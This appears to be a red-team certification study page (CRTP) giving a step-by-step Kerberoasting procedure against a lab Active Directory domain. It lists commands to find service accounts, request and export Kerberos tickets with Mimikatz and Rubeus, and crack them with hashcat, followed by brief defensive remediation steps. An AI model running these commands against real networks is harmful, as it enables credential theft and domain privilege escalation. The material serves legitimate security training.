CRTP Certified Red Team Professional
AuthorDiscordHTB Pro LabsHTB CPTSHTB CDSA
  • 👨‍🚒Certified Red Team Professional
  • LAB Access
  • 🔥Assume Breach Execution Cycle
  • 😆Prepare your VM
    • 😅PowerShell Detections
    • 🔥AMSI Bypass
    • 🙃Tools
    • CMD Commands
    • 🤣Escape the Machine
  • Data Visualization
    • BloodHound
    • AzureHound
    • RustHound
  • Domain Enumeration
    • 1️⃣Tools
    • 2️⃣Domain Enumeration
    • 3️⃣Users, Groups, Computers Enumeration
    • 4️⃣Shares Enumeration
    • 5️⃣GPO Enumeration
    • 6️⃣ACLs Enumeration
    • 7️⃣Domain Trusts
    • Domain Forests
    • 9️⃣Miscellaneous Enumeration
    • User Hunting
  • Local Privilege Escalation
    • Theory
    • Automation Tools
    • Techniques
  • Lateral Movement
    • Thinking
    • WinRS
    • PowerShell Remoting
    • Invoke-MimiKatz
    • CrackMapExec
  • Domain Persistence
    • 🔥Golden tickets
    • 🥈Silver Tickets
    • 💎Diamond Tickets
    • 🚒Skeleton Keys
    • DSRM
    • Custom SSP - Track logons
    • ACLs
      • 1️⃣AdminSDHolder
      • 2️⃣DCsync
      • 3️⃣WMI
      • 4️⃣Remote Powershell
      • 5️⃣Remote Registry
  • Domain Privilege Escalation
    • 🟢Kerberoast
    • 🟢AS-REPS Roasting
    • 🟢Set SPN
    • 🟢Unconstrained Delegation
    • 🟢Constrained Delegation
    • 🟢DNS Admins
    • Enterprise Admins
      • Child to parent - Trust tickets
      • Child to parent - krbtgt hash
    • 🟢Crossforest attacks
    • AD CS
    • 🟢Abuse MSSQL Servers
Powered by GitBook
On this page
  • Find user accounts used as service accounts
  • Reguest a TGS
  • Export ticket using Mimikatz
  • Crack the ticket

Was this helpful?

  1. Domain Privilege Escalation

Kerberoast

Find user accounts used as service accounts

. ./GetUserSPNs.ps1
Get-NetUser -SPN
Get-NetUser -SPN | select samaccountname,serviceprincipalname

Reguest a TGS

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"

or

Request-SPNTicket "MSSQLSvc/dcorp.dollarycorp.local"

Export ticket using Mimikatz

Invoke-Mimikatz -Command '"Kerberos::list /export"'

Crack the ticket

Crack the password for the service account

python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\2-40a10000-student1@MSSQLSvc~dcorp-mgmt.dollarcorp.moneycorp.local-DOLLARCORP.MONEYCORP.LOCAL.kirbi
.\hashcat.exe -m 18200 -a 0 <HASH FILE> <WORDLIST>

Analyzing the ticket with Rubeus

Once you have exported the ticket using Mimikatz, analyze it with Rubeus to get the hash for cracking.

.\Rubeus.exe dump /service:krbtgt /outfile:ticket.txt

Investigate the contents of ticket.txt for the hash to use in the next step.

Using Hashcat for password recovery

Now that you have the hash, proceed with Hashcat to attempt to recover the password.

.\hashcat.exe -m 13100 -a 0 -o cracked.txt ticket.txt 10k-worst-pass.txt

Inspect cracked.txt to see if the password recovery was successful. If the password is not found, consider using a larger or more targeted wordlist based on password creation policies.

Post-compromise steps

After successfully cracking the ticket:

  1. Secure the compromised account immediately by resetting its password.

  2. Investigate how the service account credentials were exposed.

  3. Audit services that utilize this account to check for unauthorized changes or activities.

  4. Implement account monitoring to detect future suspicious activities.

PreviousRemote RegistryNextAS-REPS Roasting

Last updated 1 year ago

Was this helpful?

🟢

Cover